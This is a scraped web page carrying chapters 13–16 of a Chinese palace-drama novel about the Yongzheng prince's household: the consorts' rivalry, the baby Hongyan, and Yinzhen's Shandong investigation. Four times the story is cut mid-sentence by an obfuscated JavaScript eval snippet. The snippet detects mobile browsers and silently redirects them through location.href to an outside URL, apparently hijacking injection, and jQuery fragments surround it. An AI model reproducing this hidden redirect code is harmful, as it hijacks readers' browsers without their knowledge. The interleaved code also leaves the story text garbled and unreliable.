胤禛听罢,立即站起身来,抬步要往外面走。 李侧福晋见状,赶忙跟上去问道:“爷这是去哪?” 胤禛的视线落在李侧福晋身上,耐着性子道:“你不是要爷给你做主吗?自是去潇湘阁给你讨个公道。” 李侧福晋闻言,心中一喜,便将路让开了。 胤禛抬步而去,后面的苏培盛赶忙跟上去。 胤禛走后,李侧福晋用帕子擦干了眼泪,嘴角一勾,露出一抹得意的笑。 另一边,苏培盛打着灯笼为胤禛照亮前行的路,很快,便 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15143135|164578||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到了年侧福晋的潇湘阁。 年侧福晋刚刚沐浴完毕,此时正坐在内室的梳妆台前,由着丫鬟梨云来给自己通发。 年侧福晋听到了外面传来的请安声,便从绣墩上站了起来,要去迎胤禛,却不想刚走了几步,胤禛已然进了内室。 年侧福晋见状,正要福身行礼,却被胤禛先一步拉住手,牵着她往拔步床的方向走。 梨云见状,将手中的梳篦放回到梳妆台上,便赶忙抬步出去了。 胤禛眼前的年侧福晋身着一身月白色的寝衣,一头乌发如瀑布般自然垂下,几缕碎发随意的搭在肩头,当真是出水芙蓉般的清丽佳人。 年侧福晋缓缓开口道:“今日是中秋,爷不该来潇湘阁。” 胤禛摩挲着拇指上的玉扳指,答道:“爷是打碧波苑来。” 年侧福晋闻言,轻哼一声,“想必李姐姐已经跟爷告过状了,爷这是来兴师问罪的?” 胤禛听罢,倒是笑了:“断案若要公允,岂能听信一面之词。” 年侧福晋闻言,手指向上一抬,将肩头的一缕碎发拉下来,用手指理顺:“没什么好说的,李姐姐是奉了爷的命令行事,我下了她的面子,便是打了爷的脸,爷要怎么罚,便直说吧。” 胤禛边摩挲着拇指上的玉扳指,边看着年侧福晋说道:“你呀,嘴上说着认错,可这模样哪有半分是觉得自己有错?” 年侧福晋闻言,抬起那盛满盈盈春水的眸子看了胤禛一眼,随即又将视线收回,撇了撇嘴,这似娇似嗔的模样,惹人怜爱。 胤禛见状,抬起手往前一伸,直接将年侧福晋整个人带进怀里搂着,“你虽下了李氏脸面,可她也不无辜,爷听她絮絮叨叨那么久,耳朵都要起茧子了。” 年侧福晋嘟囔道:“爷跟我说这些做什么?” 胤禛闻言,答道:“李氏若有你一半才情,三言两语就将事情讲清楚,爷的耳朵也能松快些。” 年侧福晋听了这话,从胤禛怀里出来,抬眼看着胤禛说道:“李姐姐若非如此,怎能让爷心疼呢?” 胤禛闻言,嘴角露出了笑。 年侧福晋反应过来了:“爷故意的。” 胤禛明明什么都知道。 话音落下,年侧福晋将身子偏了过去。 胤禛见状,凑过去环住年侧福晋,在她耳朵问道:“李氏是要爷心疼她,那阿瑶呢?” 胤禛说完,没给年侧福晋回答的机会,直接凑上去堵住了年侧福晋的唇。 此时的正院内,乌拉那拉氏刚刚沐浴更衣完毕,银烛便禀报了胤禛宿在潇湘阁的消息。 “福晋,年侧福晋竟连规矩都不顾了。”银烛愤愤的为自己主子鸣不平。 按照规矩,逢年过节以及每月初一、十五,胤禛都该宿在正院的。 乌拉那拉氏闻言,笑了笑,只道:“爷是王府的主子,他才是规矩。” 情爱不过是过眼云烟,她这般年岁,早已不稀罕了。 有了弘晏,她已然满足了。 而另一边的碧波苑内,李侧福晋还眼巴巴的等着胤禛回来,却只瞧见打听消息回来的春风,弱弱的开口道:“侧福晋,爷宿在了潇湘阁。” 李侧福晋闻言,“蹭”的一下从小榻上站起来,快步来到春风面前,不敢置信的问道:“你确定爷没有离开潇湘阁?” 春风点了点头,又补充道:“潇湘阁的灯都熄了。” 李侧福晋身子一颤,随后又问道:“正院那边呢,福晋可知晓?” 春风闻言,犹豫道:“福晋应当知晓吧,只是,只是正院的灯也熄了。” 李侧福晋听罢,失魂落魄的跌坐回了小榻上。 告了半天状,她却成了笑话。 14. 第 14 章 翌日清晨,几缕晨曦透过雕花木窗照进了屋子。 乌拉那拉氏醒来时,瞧见了身旁的弘晏还熟睡着,便轻手轻脚下了床榻。 昨夜弘晏不愿意待在摇篮椅里,她便将弘晏放到了床榻里侧跟着自己睡,不成想这孩子乖的很。 待乌拉那拉氏洗漱完之后,弘晏便醒了,一扭头看见床榻上只剩下他自己一个人,也没有哭闹,而是乖乖的等着乌拉那拉氏过来将他抱起。 乌拉那拉氏朝着弘晏的小脸蛋儿“啵啵”两下,毫不吝啬的夸奖道:“福宝真乖。” 随后,乌拉那拉氏将弘晏交给了王乳娘,由王乳娘给弘晏拿着调羹喂羊奶,自己则坐在八仙桌前用早膳。 弘晏确实饿了,王乳娘一勺一勺的喂,他便张大嘴,一口一口的喝,很快就将一碗羊奶喝了个干干净净,连一滴羊奶都没有浪费。 这厢乌拉那拉氏也刚用完了早膳,正拿着手边的帕子擦拭嘴角,便见银烛走进来说道:“福晋,年侧福晋来了。” “叫她进来吧。”乌拉那拉氏话说完,便起身坐在了主位上。 少顷,便见年侧福晋穿着一身青蓝色的如意云纹蜀锦旗装迈步走了进来:“给福晋请安。” 乌拉那拉氏看着年侧福晋,嘴角带着浅浅的微笑,言道:“坐吧。” 年侧福晋闻言,起身落坐在了下手的第一把檀木椅子上,而流萤将一盏热茶放在了高几上,随后便退到一旁侯着。 年侧福晋的双手捏着淡紫色的锦帕交叠在膝上,抬眸望向上首的乌拉那拉氏,缓缓开口道:“福晋,昨夜中秋,妾身乱了规矩章法,特意来向福晋请罪。” 上首的乌拉那拉氏听得明白,年侧福晋指的是胤禛昨晚宿在她房中的事情。 乌拉那拉氏笑得温婉:“年妹妹这话便言重了,爷的心意才是最要紧的。” 年侧福晋闻言,看了身旁的梨云一眼,示意梨云将手中的檀木描金盒子呈给乌拉那拉氏。 年侧福晋出声解释道:“妾身这里有一块麒麟玉佩,干放在库房里倒是暴殄天物了,如今送给六阿哥倒是极好的。” 年侧福晋说完,梨云已然将檀木描金盒子打开,捧到了乌拉那拉氏面前。 乌拉那拉氏瞧得出来,这块麒麟玉佩质地温润,是上好的和田玉,价值连城。 乌拉那拉氏将落在麒麟玉佩上的视线收回来,转而看着年侧福晋说道:“这玉佩太贵重了,年妹妹还是收回去吧。” 年侧福晋闻言,笑了笑,问道:“正因贵重,妾身才能拿出手送给六阿哥,福晋不收,可是生妾身的气?” 乌拉那拉氏见年侧福晋把话都说到了这个份儿上,便叫人将这麒麟玉佩收好。 年侧福晋嘴角噙着笑,但面容上又流露出几分扭捏的神色来:“福晋,妾身有个请求。” 乌拉那拉氏见状,笑意柔柔道:“年妹妹但说无妨。” 年侧福晋闻言,眸子一转,望了一眼王乳娘怀抱里的弘晏,随即开口道:“不知妾身是否能抱一抱六阿哥?” 王乳娘闻言,满是警惕的偷瞄了一眼年侧福晋,随即又看向了乌拉那拉氏。 而乖乖窝在王乳娘怀里听自家额娘和年侧福晋谈话的弘晏闻此言,小眼睛立马睁大了。 他还以为年侧福晋是有什么大事要求额娘,原来只是想抱抱他啊。 他有这么招人喜欢吗? 有的!(叉腰.jpg) 对于年侧福晋口中的“请求”,乌拉那拉氏有些意外,怔了一怔,在对上年侧福晋那充满期待的眼神后,笑着回答道:“当然可以。” 乌拉那拉氏的话音落下,王乳娘便抱着弘晏走向了年侧福晋。 年侧福晋的视线黏在了王乳娘身上,直到王乳娘走到面前时,年侧福晋方小心翼翼的抬起手,将弘晏抱到了自己怀里。 看着白白胖胖的小婴儿,年侧福晋的眼神里自然而然的流露出一个母亲才具有的慈爱来,嘴角也跟着扬起,不禁感叹道:“六阿哥生的真好,福晋养的也好。” 弘晏同时也在打量年侧福晋,听了这话,心里不禁想道:年侧福晋真是会说话,一句话不光是夸了他,还夸了额娘呢。 随即,弘晏冲着年侧福晋露出了一个甜甜的笑。 年侧福晋发现了弘晏的小表情,一颗心都被萌化了,眼睛里流露出仿若盈盈春水般的笑。 接着,年侧福晋由着内心的驱使,伸出手指轻轻抚上了弘晏软软糯糯的小脸蛋儿。 年侧福晋近距离看着怀里小小的弘晏,那眼睛里的笑意却渐渐消散,转而代替的是淡淡的哀伤,连那眼底似乎也蒙上了一层氤氲。 小小的弘晏瞧见了年侧福晋的变化,心里冒出了大大的问号。 乌拉那拉氏更是一直注意着年侧福晋的动向,见此状,给一旁的王乳娘使了个眼色。 王乳娘心领神会,迈步向前,从年侧福晋怀里将弘晏抱回了自己怀里。 年侧福晋这才回过神来,眨了眨眼睛,试图将自己低落的情绪压回去:“福晋恕罪,妾身失态了。” 乌拉那拉氏脸上依旧挂着温和的笑:“这里只有你我二人,年妹妹不必这般拘束,你还年轻,好好将养身子,孩子总会有的。” 失子之痛,乌拉那拉氏自己经历过,这些年时不时回想起来,一颗心还是隐隐作痛,是以她完全能理解年氏。 再者,年氏是年家最小的孩子,自小也是娇养着长大的,可为人却不刁蛮任性,性子反而娴静柔顺,对她也一直恭敬有加。 年氏到底还年轻,总是将自己困在失子之痛中郁郁寡欢可不成,她也真心盼着年氏能早日走出阴影,重新振作起来。 王乳娘怀里的弘晏,听了自家额娘安慰年侧福晋的话,才恍然明白原来年侧福晋抱着自己的时候,是联想到了因小产失去的那个孩子。 年侧福晋听了乌拉那拉氏的话,有些动容,眼尾已然红了,若非她极力控制着自己的情绪,怕是要当场落下泪来。 年侧福晋抬起眼眸望向乌拉那拉氏,满是真诚的微微颔首道:“多谢福晋关怀。” 小小的弘晏也在心里默默点头,他的额娘确实很好呀! 这时,银烛迈步进来朝着乌拉那拉氏禀报道:“福晋,李侧福晋来请安了。” 年侧福晋听到了李侧福晋的名字,将眼睛里的情绪掩下,挺了挺腰,坐端庄了些。 乌拉那拉氏点头道:“叫她进来。” 少顷,只见李侧福晋甩着帕子笑意盈盈的走进来福身道:“给福晋请安。” 乌拉那拉氏笑道:“坐吧。” 李侧福晋的余光瞥了一眼年侧福晋,转而落坐在了年侧福晋对面的檀木椅子上。 年侧福晋适时起身道:“福晋,妾身便先回去了。” 乌拉那拉氏点头道:“也好。” 乌拉那拉氏的话音刚落下,李侧福晋眼睛一挑,望向年侧福晋,阴阳怪气的声音便响起了:“年妹妹,怎么我一来,你就要走呢?” 年侧福晋斜睨着李侧福晋,悠悠道:“今个儿虽然不是请安的正日子,但是我一如往常的时辰来向福晋请安,安已请过,话也说了,自然不该再留下打扰福晋。” 李侧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15143136|164578||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 福晋听完,脸上一红。 年氏话里话里的意思,便是在说她向福晋请安来迟了,还恶人先告状。 她今日没有来给福晋请安的打算,因着昨夜的事情,她心里憋着气,丝毫没有睡意,直到半夜才迷迷糊糊的睡着了。 今早便起晚了些,听春风说年氏去了正院,她才连忙赶过来的。 李侧福晋笑呵呵的开口:“年妹妹说的在理,只是我昨晚忙着为弘时这孩子赶制新衣裳,便睡的晚了些。” 李侧福晋说着话,又望向了上首的乌拉那拉氏:“福晋知道的,这男孩子长的快也淘气,衣裳不多做几件,可是不够穿呢。” 一旁的年侧福晋闻言,捏紧了手里的帕子。 她听得出来李氏是在故意恶心她,显摆自己有孩子,她却没有。 年侧福晋想到了反击的法子,松了松捏着手帕的力,看向李侧福晋说道:“李姐姐说笑了,三阿哥住在前院,衣食住行爷都安排了专人打理,又岂会缺少衣衫穿,李姐姐在咱们面前说说也便罢了,若这话传扬出去,岂不是说爷亏待了三阿哥。” 李侧福晋听完这话,面上一慌,便开始解释:“年妹妹你莫要胡说,我可没有这个意思,弘时是爷的长子,爷一向看重弘时,对弘时寄予厚望,又怎会薄待弘时。” 话说到这里,李侧福晋微抬了抬下巴,又骄傲起来:“我连夜为弘时缝制衣裳,是一片慈母之心,年妹妹如今膝下尤空,自然是不能明白慈母之心。” 年侧福晋眉头微颦,正欲发作,便见上首的乌拉那拉氏开了口。 “李氏,爷膝下已有四子,照你的意思,除了弘时,其他阿哥便入不了爷的眼了?” 李侧福晋瞧见上首的乌拉那拉氏脸色一沉,才反应过来自己为了在言语上胜过年氏,而失了分寸。 弘昼与弘历两个小崽子自然是比不上她的弘时。 可她却忘了,还有一个福晋所生的弘晏呢。 而小小的弘晏听了李侧福晋的话,也对这个女人生出几分嫌弃来。 没别的,就是情商不够,智商有限。 李侧福晋连忙解释:“福晋,妾身绝对没有这个意思,六阿哥玉雪可爱,哪里是弘时能比得上的。” 乌拉那拉氏的脸色缓和了些,缓缓开口道:“弘时、弘历、弘昼,还有弘晏,血脉相连,同气连枝,都是极好的孩子,何须放在一起比较长短?” 李侧福晋连连点头:“是,福晋教训的是,是妾身嘴笨,说错了话。” 乌拉那拉氏看着李侧福晋,轻哼一声,脸上带着愠色,随即缓缓开口道:“我瞧着你不是嘴笨,而是心浮气躁,这便回去誉写《金刚经》十遍,好好修身养性。” “是,妾身遵命。”李侧福晋说完,灰溜溜的离开了正院。 而年侧福晋见李侧福晋受了罚,心中的那点儿不忿,也烟消云散了。 年侧福晋朝着乌拉那拉氏行了个福身礼之后,也回了潇湘阁。 王乳娘怀里的小弘晏见人都走了,便开始伸着小胳膊挣扎起来。 王乳娘照顾了弘晏这么久,也了解了些弘晏的肢体语言,随即迈步过去,将弘晏送到乌拉那拉氏怀里。 乌拉那拉氏抱着小小的弘晏,整个人都变得柔和,说起话来更是一汪春水般的绵软:“福宝,想让额娘抱抱你了,是不是?” 小小的弘晏边张着嘴,边喊道:“啊啊啊啊!” 乌拉那拉氏见状,有些不解,笑问:“福宝,想和额娘说什么呀?” 弘晏又复述了一遍:“啊啊啊啊!” 额娘威武! 15. 第 15 章 日子渐凉,弘晏身上的衣衫也跟着变厚了些。 六个月大的弘晏长的越发好看,白白胖胖的跟个瓷娃娃似的。 就连胤禛见了,那常年冷若冰山的脸也变得柔和,时不时要抱一抱小弘晏。 胤禛的抱娃动作从最开始的僵硬,到现在的熟练,弘晏也乐得跟自己的便宜阿玛贴贴了。 不过,当王乳娘端着南瓜泥走过来的时候,弘晏便开始在胤禛怀里扑腾起来。 便宜阿玛哪里有他干饭重要。 一旁的乌拉那拉氏瞧见了这场景,用帕子掩了掩弯起的唇。 弘晏如今六个月了,除了喝羊奶,可以吃些辅食了。 弘晏自己还记得第一次吃到南瓜泥时,整个人的眼睛都变得亮晶晶的,别提有多满足了。 因为他总算可以吃些别的食物了。 王乳娘将一小碗南瓜泥,放在八仙桌上,便抬步走向小榻,将弘晏从胤禛怀里抱出来,而后坐在八仙桌旁,拿着调羹舀了南瓜泥,又吹了吹,才放心的喂给怀里的小弘晏。 而坐在小榻上的乌拉那拉氏与胤禛,齐齐的扭过头看向小弘晏,见小弘晏吃的香甜,乌拉那拉氏与胤禛才先后收回了视线。 胤禛端起青花缠枝茶盏饮了一口后,提起了今早进宫,康熙命他去山东查案。 从几个月前,山东便开始发生青壮年离奇失踪的怪事,当地的官员也查了些日子,因为没有什么重要线索,所以案子一直没有进展,而青壮年失踪的事件还在发生,因此,使得山东百姓人心惶惶。 青壮年的男丁是每一个百姓之家的顶梁柱,陡然失踪,只余下老人妇孺,生活艰难无望,是以康熙得知之后,十分重视,派他明日便出发前往山东。 乌拉那拉氏听罢,眉头微颦,开口道:“竟有此等怪事,爷此去千万当心。” 这趟差事可不是好干的。 胤禛闻言,点了点头,随即又望了一眼正在努力干饭的弘晏,笑道:“此去山东少则也要一两个月,不知我再回来,这小家伙可还认得我?” 乌拉那拉氏听罢,哭笑不得。 爷舍不得离开王府,竟然是怕儿子忘了他。 而正在努力干饭的弘晏,可是将自家阿玛和额娘的对话,听了个清清楚楚。 对于便宜阿玛的担忧,他只想表示:大胆去吧,他不会忘记滴! 待到夜幕降临,月上枝头。 这晚,胤禛留宿在了正院。 翌日一早,胤禛带着行囊便要出发了,王府众人聚在一起为胤禛送行。 胤禛的视线扫过乌拉那拉氏与年侧福晋,最后落在了弘时身上,叮嘱弘时要用功读书之后,便坐上了马车。 乌拉那拉氏一干人等瞧着马车越走越远,直至消失不见后,才带着众人回去了。 回到正院,乌拉那拉氏便看见弘晏小小的一只坐在小塌上,一旁的王乳娘端着一小碗红薯泥,准备喂给弘晏。 胤禛起床时,弘晏还睡得香甜,胤禛在弘晏的摇篮椅前站了许久,又给弘晏掖了掖小被子,方才离开。 只可惜这些,弘晏都不知晓。 此后的几日,正院突然没了胤禛的身影,弘晏还有些不太习惯。 乌拉那拉氏瞧着弘晏呆呆的坐着,笑着摸了摸弘晏那光滑细腻如剥了皮的煮鸡蛋似的小脸儿,问道:“福宝,是不是想阿玛了?” 小小的弘晏听了,傲娇的“啊”了一声。 他才没有呢! 乌拉那拉氏见状,只是柔柔的笑着。 几日后,令弘晏十分高兴的事情,就是王乳娘给他喂了萝卜泥!!! 变成人这么久,他终于吃到最爱的萝卜了!!! 果然萝卜才是世界上最好吃的东西。 萝卜怎么做都好吃,但是他还是最喜欢吃纯天然,没有经过任何加工的萝卜。 简而言之就是,生啃! 不过就他现在长出来的几颗可怜的小米牙,是做不到的。 所以,他只能等着自己再长大一点儿了! 转眼间,一个月过去了。 小小的弘晏已然学会打滚了。 这天,弘晏躺在檀木小榻上,从左边滚到右边,又从右边滚回到左边,自己玩的不亦乐乎。 坐在一旁拿着针线绣着暖帽的乌拉那拉氏,看着弘晏,有些感慨道:“若是你阿玛知晓了,定然高兴。” 阿玛? 弘晏想了想,他的便宜阿玛走了也有一个月了,还不知道查案顺不顺利呢。 随即,弘晏又在心里叹了口气,难为他小小年纪,还要操心出门的老父亲。 在小榻上来回打滚,弘晏已经有些累了,便平躺在小榻上,自己摊成一个“大”字。 乌拉那拉氏便叫银烛去吩咐小厨房,做一碗鸡蛋羹来。 婴儿肠胃娇嫩,鸡蛋羹里除了鸡蛋,只滴了几滴麻油来增加香味,不过弘晏吃到肚子里已经觉得很美味了。 毕竟这一个多月以来,他吃的食物种类一直在丰富了。 等到了晚上,由王乳娘抱着他走去净室,躺在木盆里,洗的香香的就可以跟着额娘一起睡觉了。 秋天的风带着丝丝凉意,呼呼刮过去,将那枝头上的黄叶裹挟而去,待风没了踪迹,只见那池塘里,假山上,青石路面都散落着枯黄破损的叶子。 翌日清晨,未见东方有晨曦,天空灰蒙蒙的,应该是个阴天。 府里的奴才们拿着工具有条不紊的清扫路面的落叶,还有两个小太监踩着大青石板,拿着网子在打捞池塘水面上漂着的落叶。 今个儿是十五,在李侧福晋等人来正院请安过后,乌拉那拉氏便要乘着马车进宫去给德妃请安。 走之前,乌拉那拉氏亲了亲弘晏的小脸蛋儿,才放心的离开。 永和宫内的香炉里燃着熏香,这香不是乌拉那拉氏喜欢的味道,但这些年经常入宫给德妃请安,再不惯也闻惯了。 坐在小榻上的德妃,饮了口茶后,缓缓开口问道:“老四可捎有口信回来?” 乌拉那拉氏闻言,轻轻摇了摇头:“未曾。” 德妃将手上的茶盏放回到矮桌上,似笑非笑:“旁人出远门都是报喜不报忧,老四倒是好,音信全无了。” 这个儿子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15143137|164578||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 被旁人养的面冷心硬,得了差事,连表面的孝敬都懒得做了。 德妃的话,乌拉那拉氏听着觉得刺耳的紧,但“孝”字当头,乌拉那拉氏又不能回怼德妃,只得替胤禛打圆场:“额娘,想来是山东的案子难办,爷投入其中,无暇顾及。” 德妃听了这话,也没说什么,正欲开口叫乌拉那拉氏回去,便听得外面轰隆一声响,随即淅淅沥沥下起了雨。 乌拉那拉氏的视线立马投向窗外,见那连绵的雨,顺着屋顶的飞檐和瓦片,似细长的白线一般往下落,一时间眉头轻蹙,不由得捏紧了手里的帕子。 德妃倒是一脸平静,一双眸子看向乌拉那拉氏,毫不走心的挽留道:“既然下了雨,待雨停了再走吧。” 乌拉那拉氏闻言,站起身来禀道:“回额娘,府中还有庶务需要料理,儿媳还是不打扰额娘的清净了。” 德妃见乌拉那拉氏拂了她的好意,也懒得再费口舌,直接摆了摆手,放乌拉那拉氏回去了。 守在殿外的宫女见乌拉那拉氏出来,给乌拉那拉氏身旁的银烛递上了一把伞。 待乌拉那拉氏与银烛主仆二人的身影消失不见后,殿内德妃身旁的心腹岚竹才出声道:“娘娘,昨个儿您便想着今个儿怕是会下雨,特意让人知会了十四福晋不必来请安,如今看来,娘娘真是神机妙算呢。” 德妃闻言,弯了弯唇,又托起了矮桌上的茶盏。 早上原本是做生意的好时辰,只是大雨突然而至,行人来去匆匆,忙着避雨,街道两旁吆喝叫卖的小贩赶忙收了摊子,鳞次栉比的店铺大都关了门,唯有卖伞的铺子生意兴隆。 乌拉那拉氏的马车在青石路上滚滚向前,因着街道萧条,倒也畅通无阻。 很快,马车便到了雍亲王府门前。 乌拉那拉氏踩着红木矮凳下了马车,便直奔着正院而去。 迈进屋子,乌拉那拉氏便瞧见弘晏正乖乖的坐在小榻上,而王乳娘与流萤分别拿了拨浪鼓和布老虎在逗着弘晏。 弘晏活了几百年了,也是见过世面的,对于拨浪鼓和布老虎这种小儿科的玩具,已经吸引不了他了,不过见着王乳娘与流萤这么卖力的逗他开心,他就勉强配合她们一下吧。 弘晏瞧见了乌拉那拉氏,眼睛立马亮起来,“啊啊”的叫起来。 乌拉那拉氏笑着说:“福宝乖,等额娘一会儿。” 在永和宫的时候,听见那道响雷,她是真的担心,怕雷声吓着弘晏,又担忧自己不在身旁,弘晏会哭闹不止。 不管德妃是否真心留她,她都没有耐心留下等雨停了。 如今见着弘晏好好的,乌拉那拉氏的心便放回了肚子里。 乌拉那拉氏的话音落下,弘晏便不再叫了,乖乖的等着额娘。 乌拉那拉氏从外面回来身上沾染了寒气,怕过给弘晏,便离得弘晏远远的,又端了一碗热茶边暖手边润喉,待身上暖和了些,才大步的走过去坐在小榻上,将弘晏抱进了自己怀里。 小小的弘晏紧紧贴着乌拉那拉氏,还是额娘的怀抱最舒服了。 任外面风吹雨打,屋子里却温馨无比。 16. 第 16 章 冬月初的寒风席卷着京城,裹挟着路面上的沙石呼啸而去,来来往往的行人逆风而行,恨不得只露出一双眼睛在外面。 为了生计的小贩,就算寒风刺骨,双颊冻得通红,还是卖力的吆喝着。 而胤禛也在这样恶劣的天气下,回了京城。 一入城门,胤禛不敢耽搁,直接进宫向康熙复命。 山东青壮年离奇失踪一案已然查明,原是白莲教在作怪。 自大清开国以来,就一直打击白莲教这种邪恶势力,光是康熙登基这几十年来,朝廷派兵镇压白莲教就有大大小小十几次。 因着朝廷多次围剿,白莲教大多数教徒已被正法,但还有一小股势力流蹿在外。 朝廷在明,白莲教的余孽在暗,因着白莲教的余孽选择韬光养晦藏了起来,不在民间露面,时间一长,朝廷自然也就放松了警惕。 数月前,白莲教的余孽认为朝廷早已忘了他们的存在,正是他们东山再起的好时候,便有意壮大势力,与朝廷抗衡。 只是白莲教的余孽怕引起朝廷的怀疑,不敢大张旗鼓的在民间宣扬,迷惑无知百姓入教,便买通了当地的县令与知府,制造出青壮年离奇失踪的假象,编造悬案,实际上是将这些青壮年掳走,强逼着这些无辜百姓入教,打造兵器,暗中操练,意图与朝廷抗衡。 胤禛到了地方上,通过交谈和一些蛛丝马迹,便觉得这些官员有鬼,为了不打草惊蛇,便虚情假意的与当地官员推杯换盏,使他们放松警惕,而后一步步将幕后黑手钓出来。 如今,白莲教的余孽已然全部抓获,无辜的百姓也尽数救出,至于投靠白莲教的官员也暂时收押,等待康熙发落。 康熙看完了胤禛呈上的折子,又听了胤禛的陈述,龙颜大怒,命刑部与大理寺、都察院三堂会审,同时下旨命各州府严加排查,务必要将白莲教这等邪恶势力全部铲除。 片刻后,康熙面容缓和了些,瞧着胤禛风尘仆仆的样子,便嘱咐胤禛先回去好好休息,待事情了结,定然会论功行赏。 胤禛闻言,跪安后便直接离开了乾清宫,疾步出了皇宫,赶回雍亲王府。 一刻钟后,马车到了雍亲王府门前,胤禛下了马车直奔着正院而去。 此时的正院屋子里因着燃了上好的银丝碳,温暖如春,弘晏正坐在小榻上,观看银烛新学会的戏法。 只见银烛两只手空空的,随后从袖子里拿出了一块红帕子,展示了正面,又翻过来反面让他看,就是一块单纯的帕子,什么也没有。 可是下一瞬,那块红帕子就凭空变出了一朵花来,看的弘晏是目瞪口呆,随后咯咯直笑。 弘晏这一笑,嘴角的涎水就跟着流下来,幸好王乳娘有先见之明,给弘晏戴了一块口水巾,如今流了口水,不至于将衣裳弄脏。 王乳娘将弘晏嘴角的涎水擦干净,便退到了一旁,不妨碍小主子看戏法。 乌拉那拉氏瞧见这一幕,心里也是高兴的紧。 弘晏越发大了,便总想出去,不想窝在屋子里,可是如今外面天寒地冻的,实在不敢将他带出去,幸好有银烛这个机灵的,学了几个民间的戏法,能哄着这小家伙乖乖的待在屋子里。 第一个戏法结束,银烛正准备开始第二个,便听见外面响起请安的声音来。 屋内众人包括乌拉那拉氏在内,皆是一惊。 胤禛回来了!!! 乌拉那拉氏刚站起身来,便见棉帘子被掀开了,走进来的高大身影正是胤禛。 银烛等人皆福身请安,乌拉那拉氏笑着问道:“爷,何时回来的?门房的奴才偷懒耍滑,竟然也不通报。” 胤禛闻言,望向了乌拉那拉氏,开口道:“急着见你们,爷就没让奴才通报,今日刚回京城,进宫向汗阿玛复命,汗阿玛体恤,早早让我回来休息。” 乌拉那拉氏此时大脑也转不过来,一个劲儿的说着:“好,好。” 这厢,胤禛径直走向了小榻,将弘晏举起来,看着肉嘟嘟的小脸蛋儿,笑着:“重了不少,小家伙,还认得我吗?” 当然认得了。 他怎么会不认得自己的便宜阿玛。 随即,弘晏冲着胤禛露出一个甜甜的笑容。 看到幼子的纯真笑容,胤禛浑身的疲惫好似一扫而空,心里瞬间被填满,觉得暖洋洋的。 下一瞬,胤禛凑上去在弘晏的脸颊处“啵啵”亲了两下。 胤禛的这一举动,可是让弘晏嫌弃坏了。 便宜阿玛脸上有刺吗? 好扎人啊! 弘晏颇为嫌弃的望着自己的便宜阿玛,看清了胤禛的脸以后,弘晏才明白,扎他的不是刺,而是胤禛脸上冒出的胡茬,又发觉胤禛整个人沧桑了许多,眼底更是一片乌青,一时间,对着胤禛也嫌弃不起来了。 而胤禛更是有一丝恍神,他好像从小家伙眼里看出了对他的同情??? 只是不容胤禛思索太久,弘晏发出了“啊啊”的声音,作势要往胤禛怀里扑。 胤禛原只是举着小家伙,现如今见小家伙不但没有与他生分,还主动与他亲近,高兴极了,直接将小家伙抱进了怀里。 真是他的贴心好大儿! 胤禛作为一个老父亲,发出了由衷的感慨,可感动不到一分钟,胤禛就发现了异常,好似有一股暖流在渗透他的衣裳。 胤禛将弘晏从怀抱里拉出来举着,低头一看,只见自己的衣裳湿了一大片,又瞧了瞧弘晏同样湿哒哒的裤子,失笑道:“小福宝,两月不见,就给阿玛送这么大的礼。” 可真是他的好大儿啊! 弘晏小脸一红,他今天喝足了羊奶,刚刚因为与便宜阿玛贴贴,一时放松,就尽情泄露了。 围观的吃瓜群众中,乌拉那拉氏最先反应过来,赶忙命王乳娘将弘晏抱下去换洗,又命流萤去备热水给胤禛沐浴更衣,再吩咐银烛去膳房知会一声,做些胤禛爱吃的菜来。 好一阵忙活后,洗香香的父子二人又见面了。 可弘晏却窝在乌拉那拉氏的怀里,不肯将小脸蛋儿露出来,只撅着小屁股给胤禛看。 胤禛见状,哭笑不得,他这个受害者还没说什么呢? 小家伙倒是知道要面子了。 乌拉那拉氏哄了弘晏两句,见小家伙没有什么反应,便看向了胤禛。 胤禛自然明白,直接走过去轻松的将弘晏抱进了怀里。 乌拉那拉氏:“……” 她想叫爷哄娃,爷却就这么简单、粗/暴? 离了额娘温暖的怀抱,跌进了一个坚硬的胸膛,弘晏“啊啊”叫起来。 他不要见便宜阿玛。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15143138|164578||http|test|mini|href|location''.split(''|''),0,{})); () { 